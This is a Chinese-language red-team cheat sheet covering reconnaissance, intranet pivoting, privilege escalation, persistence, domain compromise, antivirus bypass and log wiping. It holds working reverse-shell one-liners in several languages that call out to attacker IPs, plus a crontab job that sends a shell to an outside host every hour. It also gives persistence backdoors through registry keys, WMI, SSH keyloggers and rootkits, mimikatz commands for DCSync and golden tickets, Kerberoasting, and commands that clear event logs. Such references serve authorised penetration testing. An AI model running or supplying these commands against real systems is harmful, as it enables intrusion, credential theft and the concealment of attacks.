信息搜集
开源情报信息收集(OSINT)
github
- Github_Nuggests(自动爬取Github上文件敏感信息泄露) :https://github.com/az0ne/Github_Nuggests
- GSIL(能够实现近实时(15分钟内)的发现Github上泄露的信息) :https://github.com/FeeiCN/GSIL
- x-patrol(小米团队的):https://github.com/MiSecurity/x-patrol
whois查询/注册人反查/邮箱反查/相关资产
- 站长之家:http://whois.chinaz.com/?DomainName=target.com&ws=
- 爱站:https://whois.aizhan.com/target.com/
- 微步在线:https://x.threatbook.cn/
- IP反查:https://dns.aizhan.com/
- 天眼查:https://www.tianyancha.com/
- 虎妈查:http://www.whomx.com/
- 历史漏洞查询 :
google hacking
创建企业密码字典
字典列表
- passwordlist:https://github.com/lavalamp-/password-lists
- 猪猪侠字典:https://pan.baidu.com/s/1dFJyedz
Blasting_dictionary(分享和收集各种字典,包括弱口令,常用密码,目录爆破。数据库爆破,编辑器爆破,后台爆破等) - 针对特定的厂商,重点构造厂商相关域名的字典
1
['%pwd%123','%user%123','%user%521','%user%2017','%pwd%321','%pwd%521','%user%321','%pwd%123!','%pwd%123!@#','%pwd%1234','%user%2016','%user%123$%^','%user%123!@#','%pwd%2016','%pwd%2017','%pwd%1!','%pwd%2@','%pwd%3#','%pwd%123#@!','%pwd%12345','%pwd%123$%^','%pwd%!@#456','%pwd%123qwe','%pwd%qwe123','%pwd%qwe','%pwd%123456','%user%123#@!','%user%!@#456','%user%1234','%user%12345','%user%123456','%user%123!']
密码生成
- GenpAss(中国特色的弱口令生成器: https://github.com/RicterZ/genpAss/
- passmaker(可以自定义规则的密码字典生成器) :https://github.com/bit4woo/passmaker
- pydictor(强大的密码生成器) :https://github.com/LandGrey/pydictor
邮箱列表获取
- theHarvester :https://github.com/laramies/theHarvester
- 获取一个邮箱以后导出通讯录
- LinkedInt :https://github.com/mdsecactivebreach/LinkedInt
- Mailget:https://github.com/Ridter/Mailget
对企业外部相关信息进行搜集
子域名获取
- Layer子域名挖掘机4.2纪念版
- subDomainsBrute :https://github.com/lijiejie/subDomainsBrute
- wydomain :https://github.com/ring04h/wydomain
- Sublist3r :https://github.com/aboul3la/Sublist3r
- site:target.com:https://www.google.com
- Github代码仓库
- 抓包分析请求返回值(跳转/文件上传/app/api接口等)
- 站长帮手links等在线查询网站
- 域传送漏洞
Linux
1 | dig @ns.example.com example=.com AXFR |
Windows
1 | nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器 |
- GetDomainsBySSL.py :https://note.youdao.com/ynoteshare1/index.html?id=247d97fc1d98b122ef9804906356d47a&type=note#/
- censys.io证书 :https://censys.io/certificates?q=target.com
- crt.sh证书查询:https://crt.sh/?q=%25.target.com
- shadon :https://www.shodan.io/
- zoomeye :https://www.zoomeye.org/
- fofa :https://fofa.so/
- censys:https://censys.io/
- dnsdb.io :https://dnsdb.io/zh-cn/search?q=target.com
- api.hackertarget.com :http://api.hackertarget.com/reversedns/?q=target.com
- community.riskiq.com :https://community.riskiq.com/Search/target.com
- subdomain3 :https://github.com/yanxiu0614/subdomain3
- FuzzDomain :https://github.com/Chora10/FuzzDomain
- dnsdumpster.com :https://dnsdumpster.com/
进入内网
基于企业弱账号漏洞
- VPN(通过邮箱,密码爆破,社工等途径获取VPN)
- 企业相关运维系统(zabbix等)
基于系统漏洞进入
- Metasploit(漏洞利用框架):https://github.com/rapid7/metasploit-framework
- 漏洞利用脚本
网站应用程序渗透
- SQL注入
- 跨站脚本(XSS)
- 跨站请求伪造(CSRF)
- SSRF(ssrf_proxy)
- 功能/业务逻辑漏洞
- 其他漏洞等
- CMS-内容管理系统漏洞
- 企业自建代理
无线Wi-Fi接入
隐匿攻击
Command and Control
- ICMP :https://pentestlab.blog/2017/07/28/command-and-control-icmp/
- DNS :https://pentestlab.blog/2017/09/06/command-and-control-dns/
- DropBox :https://pentestlab.blog/2017/08/29/command-and-control-dropbox/
- Gmail :https://pentestlab.blog/2017/08/03/command-and-control-gmail/
- Telegram :http://drops.xmd5.com/static/drops/tips-16142.html
- Twitter :https://pentestlab.blog/2017/09/26/command-and-control-twitter/
- Website Keyword :https://pentestlab.blog/2017/09/14/command-and-control-website-keyword/
- PowerShell :https://pentestlab.blog/2017/08/19/command-and-control-powershell/
- Windows COM :https://pentestlab.blog/2017/09/01/command-and-control-windows-com/
- WebDAV :https://pentestlab.blog/2017/09/12/command-and-control-webdav/
- Office 365 :https://www.anquanke.com/post/id/86974
- HTTPS :https://pentestlab.blog/2017/10/04/command-and-control-https/
- Kernel :https://pentestlab.blog/2017/10/02/command-and-control-kernel/
- Website :https://pentestlab.blog/2017/11/14/command-and-control-website/
- WMI :https://pentestlab.blog/2017/11/20/command-and-control-wmi/
- WebSocket :https://pentestlab.blog/2017/12/06/command-and-control-websocket/
- Images :https://pentestlab.blog/2018/01/02/command-and-control-images/
- Web Interface :https://pentestlab.blog/2018/01/03/command-and-control-web-interface/
- JavaScript :https://pentestlab.blog/2018/01/08/command-and-control-javascript/
- ...
Froting
代理
- VPN
- shadowsockts :https://github.com/shadowsocks
- HTTP :http://cn-proxy.com/
- Tor
内网跨边界应用
内网跨边界转发
内网跨边界代理穿透
EW
正向 SOCKS v5 服务器:
1 | ./ew -s ssocksd -l 1080 |
反弹 SOCKS v5 服务器:
a) 先在一台具有公网 ip 的主机A上运行以下命令:
1 | $ ./ew -s rcsocks -l 1080 -e 8888 |
b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
1 | $ ./ew -s rssocks -d 1.1.1.1 -e 8888 |
多级级联
1 | $ ./ew -s lcx_listen -l 1080 -e 8888 |
lcx_tran 的用法
1 | $ ./ew -s ssocksd -l 9999 |
lcx_listen、lcx_slave 的用法
1 | $ ./ew -s lcx_listen -l 1080 -e 8888 |
“三级级联”的本地SOCKS测试用例以供参考
1 | $ ./ew -s rcsocks -l 1080 -e 8888 |
Termite
使用说明:http://rootkiter.com/Termite/README.txt
代理脚本
reGeorg :https://github.com/sensepost/reGeorg
shell反弹
bash
1 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
perl
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php
1 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
java
1 | r = Runtime.getRuntime() |
nc
1 | #使用-e |
1 | #不使用-e |
lua
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
内网文件的传输和下载
wput
1 | wput dir_name ftp://linuxpig:123456@host.com/ |
wget
1 | wget http://site.com/1.rar -O 1.rar |
ariac2(需安装)
1 | aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2 |
powershell
1 | $p = New-Object System.Net.WebClient |
vbs脚本
1 | Set args = Wscript.Arguments |
执行 :cscript test.vbs
Perl
1 | #!/usr/bin/perl |
执行:perl test.pl
Python
1 | #!/usr/bin/python |
执行:python test.py
Ruby
1 | #!/usr/bin/ruby |
执行:ruby test.rb
PHP
1 | <?php |
执行:php test.php
NC
attacker
1 | cat file | nc -l 1234 |
target
1 | nc host_ip 1234 > file |
FTP
1 | ftp 127.0.0.1 username password get file exit |
TFTP
1 | tftp -i host GET C:%homepath%file location_of_file_on_tftp_server |
Bitsadmin
1 | bitsadmin /transfer n http://domain/file c:%homepath%file |
Window 文件共享
1 | net use x: \127.0.0.1\share /user:example.comuserID myPassword |
SCP
本地到远程
1 | scp file user@host.com:/tmp |
远程到本地
1 | scp user@host.com:/tmp file |
rsync
远程rsync服务器中拷贝文件到本地机
1 | rsync -av root@192.168.78.192::www /databack |
本地机器拷贝文件到远程rsync服务器
1 | rsync -av /databack root@192.168.78.192::www |
certutil.exe
1 | certutil.exe -urlcache -split -f http://site.com/file |
...
内网信息搜集
本机信息搜集
1、用户列表
windows用户列表
分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户
2、进程列表
析杀毒软件/安全监控工具等
邮件客户端
VPN
ftp等
3、服务列表
与安全防范工具有关服务[判断是否可以手动开关等]
存在问题的服务[权限/漏洞]
4、端口列表
开放端口对应的常见服务/应用程序[匿名/权限/漏洞等]
利用端口进行信息收集
5、补丁列表
分析 Windows 补丁
第三方软件[Java/Oracle/Flash 等]漏洞
6、本机共享
本机共享列表/访问权限
本机访问的域共享/访问权限
7、本用户习惯分析
历史记录
收藏夹
文档等
8、获取当前用户密码工具
Windows
Linux
扩散信息收集
端口扫描
常用端口扫描工具
内网拓扑架构分析
- DMZ
- 管理网
- 生产网
- 测试网
常见信息收集命令
ipconfig:
1 | ipconfig /all ------> 查询本机 IP 段,所在域等 |
net:
1 | net user ------> 本机用户列表 |
dsquery
1 | dsquery computer domainroot -limit 65535 && net group "domain |
第三方信息收集
- NETBIOS 信息收集
- SMB 信息收集
- 空会话信息收集
- 漏洞信息收集等
权限提升
Windows
BypassUAC
常用方法
- 使用IFileOperation COM接口
- 使用Wusa.exe的extract选项
- 远程注入SHELLCODE 到傀儡进程
- DLL劫持,劫持系统的DLL文件
- eventvwr.exe and registry hijacking
- sdclt.exe
- SilentCleanup
- wscript.exe
- cmstp.exe
- 修改环境变量,劫持高权限.Net程序
- 修改注册表HKCU\Software\Classes\CLSID,劫持高权限程序
- 直接提权过UAC
常用工具
- UACME
- Bypass-UAC
- Yamabiko
- ...
提权
windows内核漏洞提权
检测类:Windows-Exploit-Suggester,WinSystemHelper
利用类:windows-kernel-exploits服务提权
数据库服务,ftp服务等
WINDOWS错误系统配置
系统服务的错误权限配置漏洞
不安全的注册表权限配置
不安全的文件/文件夹权限配置
计划任务
任意用户以NT AUTHORITY\SYSTEM权限安装msi
提权脚本
Linux
内核溢出提权
计划任务
1 | crontab -l |
SUID
1 | find / -user root -perm -4000 -print 2>/dev/null |
系统服务的错误权限配置漏洞
1 | cat /var/apache2/config.inc |
不安全的文件/文件夹权限配置
1 | cat ~/.bash_history |
找存储的明文用户名,密码
1 | grep -i user [filename] |
权限维持
系统后门
Windows
1、密码记录工具
WinlogonHack
WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。
键盘记录器
安装键盘记录的目地不光是记录本机密码,是记录管理员一切的密码,比如说信箱,WEB 网页密码等等,这样也可以得到管理员的很多信息。
NTPass
获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令。
Linux 下 openssh 后门
重新编译运行的sshd服务,用于记录用户的登陆密码。
2、常用的存储Payload位置
WMI :
存储:
1 | $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) |
读取:
1 | $Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value |
包含数字签名的PE文件
利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名
特殊ADS
…
1 | type putty.exe > ...:putty.exe |
特殊COM文件
1 | type putty.exe > \\.\C:\test\ads\COM1:putty.exe |
磁盘根目录
1 | type putty.exe >C:\:putty.exe |
3、Run/RunOnce Keys
用户级
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run |
管理员
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
4、BootExecute Key
由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为:
1 | HKLM\SYSTEM\CurrentControlSet\Control\hivelist |
5、Userinit Key
WinLogon进程加载的login scripts,具体键值:
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon |
6、Startup Keys
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders |
7、Services
创建服务
1 | sc create [ServerName] binPath= BinaryPathName |
8、Browser Helper Objects
本质上是Internet Explorer启动时加载的DLL模块
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects |
9、AppInit_DLLs
加载User32.dll会加载的DLL
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs |
10、文件关联
1 | HKEY_LOCAL_MACHINE\Software\Classes |
11、bitsadmin
1 | bitsadmin /create backdoor |
12、mof
1 | pragma namespace("\\\\.\\root\\subscription") |
管理员执行:
1 | mofcomp test.mof |
13、wmi
每隔60秒执行一次notepad.exe
1 | wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" |
14、Userland Persistence With Scheduled Tasks
劫持计划任务UserTask,在系统启动时加载dll
1 | function Invoke-ScheduledTaskComHandlerUserTask |
15、Netsh
1 | netsh add helper c:\test\netshtest.dll |
后门触发:每次调用netsh
16、Shim
常用方式:
InjectDll
RedirectShortcut
RedirectEXE
17、DLL劫持
通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程
使用:Procmon半自动测试更精准,常规生成的dll会导致程序执行报错或中断,使用AheadLib配合生成dll劫持利用源码不会影响程序执行
工具:https://github.com/sensepost/rattler
工具:https://github.com/Yonsm/AheadLib
18、DoubleAgent
编写自定义Verifier provider DLL
通过Application Verifier进行安装
注入到目标进程执行payload
每当目标进程启动,均会执行payload,相当于一个自启动的方式
POC : https://github.com/Cybellum/DoubleAgent
19、waitfor.exe
不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe
POC : https://github.com/3gstudent/Waitfor-Persistence
20、AppDomainManager
针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制
21、Office
劫持Office软件的特定功能:通过dll劫持,在Office软件执行特定功能时触发后门
利用VSTO实现的office后门
Office加载项
- Word WLL
- Excel XLL
- Excel VBA add-ins
- PowerPoint VBA add-ins
参考1 :https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
参考2 :https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/
22、CLR
无需管理员权限的后门,并能够劫持所有.Net程序
POC:https://github.com/3gstudent/CLR-Injection
23、msdtc
利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测
利用:向 %windir%\system32\目录添加dll并重命名为oci.dll
24、Hijack CAccPropServicesClass and MMDeviceEnumerato
利用COM组件,不需要重启系统,不需要管理员权限
通过修改注册表实现
POC:https://github.com/3gstudent/COM-Object-hijacking
25、Hijack explorer.exe
COM组件劫持,不需要重启系统,不需要管理员权限
通过修改注册表实现
1 | HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1} |
26、Windows FAX DLL Injection
通过DLL劫持,劫持Explorer.exe对fxsst.dll
的加载
Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll
(服务默认开启,用于传真服务)将payload.dll保存在c:\Windows\fxsst.dll
,能够实现dll劫持,劫持Explorer.exe对fxsst.dll
的加载
27、特殊注册表键值
在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)。
《渗透技巧——"隐藏"注册表的创建》
《渗透技巧——"隐藏"注册表的更多测试》
28、快捷方式后门
替换我的电脑快捷方式启动参数
POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1
29、Logon Scripts
1 | New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null |
30、Password Filter DLL
31、利用BHO实现IE浏览器劫持
Linux
crontab
每60分钟反弹一次shell给dns.wuyun.org的53端口
1 | #!bash |
硬链接sshd
1 | #!bash |
链接:ssh root@192.168.206.142 -p 2333
SSH Server wrapper
1 | #!bash |
1 | socat STDIO TCP4:192.168.206.142:22,sourceport=13377 |
SSH keylogger
vim当前用户下的.bashrc文件,末尾添加
1 | #!bash |
source .bashrc
Cymothoa_进程注入backdoor
1 | ./cymothoa -p 2270 -s 1 -y 7777 |
1 | nc -vv ip 7777 |
rookit
openssh_rookit
Kbeast_rootkit
Mafix + Suterusu rookit
Tools:
WEB后门
PHP Meterpreter后门
Aspx Meterpreter后门
weevely
webacoo
....
横向渗透
端口渗透
端口扫描
- 1.端口的指纹信息(版本信息)
- 2.端口所对应运行的服务
- 3.常见的默认端口号
- 4.尝试弱口令
端口爆破
端口弱口令
- NTScan
- Hscan
- 自写脚本
端口溢出
smb
- ms08067
- ms17010
- ms11058
- ...
apache
ftp
...
常见的默认端口
1、web类(web漏洞/敏感目录)
第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ...
1 | 80 web |
2、数据库类(扫描弱口令)
1 | 1433 MSSQL |
3、特殊服务类(未授权/命令执行类/漏洞)
1 | 443 SSL心脏滴血 |
4、常用端口类(扫描弱口令/端口爆破)
1 | 21 ftp |
5、端口合计所对应的服务
1 | 21 ftp |
域渗透
信息搜集
powerview.ps1
1 | Get-NetDomain - gets the name of the current user's domain |
BloodHound
获取域控的方法
SYSVOL
SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。
相关阅读:
- 寻找SYSVOL里的密码和攻击GPP(组策略偏好)
- Windows Server 2008 R2之四管理Sysvol文件夹
- SYSVOL中查找密码并利用组策略首选项
- 利用SYSVOL还原组策略中保存的密码
MS14-068 Kerberos
1 | python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机 |
利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:
1 | mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit |
相关阅读 :
SPN扫描
Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包。
SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内部帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。
SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。
相关阅读 :
Kerberos的黄金门票
在域上抓取的哈希
1 | lsadump::dcsync /domain:pentest.com /user:krbtgt |
1 | kerberos::purge |
相关阅读 :
Kerberos的银票务
黄金票据和白银票据的一些区别:
Golden Ticket:伪造TGT
,可以获取任何Kerberos
服务权限
银票:伪造TGS,只能访问指定的服务
加密方式不同:
Golden Ticket由krbtgt
的hash加密
Silver Ticket由服务账号
(通常为计算机账户)Hash加密
认证流程不同:
金票在使用的过程需要同域控通信
银票在使用的过程不需要同域控通信
相关阅读 :
域服务账号破解
与上面SPN扫描类似的原理
https://github.com/nidem/kerberoast
获取所有用作SPN的帐户
1 | setspn -T PENTEST.com -Q */* |
从Mimikatz的RAM中提取获得的门票
1 | kerberos::list /export |
用rgsrepcrack破解
1 | tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi |
凭证盗窃
从搜集的密码里面找管理员的密码
地址解析协议
实在搞不定再搞ARP
获取AD哈希
- 使用VSS卷影副本
- Ntdsutil中获取NTDS.DIT文件
- PowerShell中提取NTDS.DIT -->Invoke-NinaCopy
- 使用Mimikatz提取
1 | mimikatz lsadump::lsa /inject exit |
- 使用PowerShell Mimikatz
- 使用Mimikatz的DCSync 远程转储Active Directory凭证
提取 KRBTGT用户帐户的密码数据:
1 | Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit |
管理员用户帐户提取密码数据:
1 | Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit |
- NTDS.dit中提取哈希
使用esedbexport恢复以后使用ntdsxtract提取
AD持久化
活动目录持久性技巧
https://adsecurity.org/?p=1929
DS恢复模式密码维护
DSRM密码同步
Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可参考:[巧用DSRM密码同步将域控权限持久化](http://drops.xmd5.com/static/drops/tips-9297.html)
Security Support Provider
简单的理解为SSP就是一个DLL,用来实现身份认证
1 | privilege::debug |
这样就不需要重启c:/windows/system32
可看到新生成的文件kiwissp.log
SID History
SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户
1 | mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator" |
AdminSDHolder&SDProp
利用AdminSDHolder&SDProp(重新)获取域管理权限
组策略
https://adsecurity.org/?p=2716
策略对象在持久化及横向渗透中的应用
Hook PasswordChangeNotify
http://wooyun.jozxing.cc/static/drops/tips-13079.html
TIPS
《域渗透——Dump Clear-Text Password after KB2871997 installed》
《域渗透——Hook PasswordChangeNotify》
可通过Hook PasswordChangeNotify实时记录域控管理员的新密码
《域渗透——Local Administrator Password Solution》
域渗透时要记得留意域内主机的本地管理员账号
相关工具
BloodHound
CrackMapExec
DeathStar
在远程系统上执行程序
- At
- Psexec
- WMIC
- Wmiexec
- Smbexec
- Powershell remoting
- DCOM
IOT相关
- 1、路由器 routersploit
- 2、打印机 PRET
- 3、IOT exp https://www.exploitee.rs/
- 4、相关
OWASP-Nettacker
isf
icsmaster
中间人
规避杀软及检测
Bypass Applocker
UltimateAppLockerByPassList
https://lolbas-project.github.io/
bypassAV
- Empire
- PEspin
- Shellter
- Ebowla
- Veil
- PowerShell
- Python
- 代码注入技术Process Doppelgänging
- ...
痕迹清理
Windows日志清除
获取日志分类列表:
1 | wevtutil el >1.txt |
获取单个日志类别的统计信息:
eg.
1 | wevtutil gli "windows powershell" |
回显:
1 | creationTime: 2016-11-28T06:01:37.986Z |
查看指定日志的具体内容:
1 | wevtutil qe /f:text "windows powershell" |
删除单个日志类别的所有信息:
1 | wevtutil cl "windows powershell" |
破坏Windows日志记录功能
利用工具
msf
1 | run clearlogs |
1 | clearev |
3389登陆记录清除
1 | @echo off |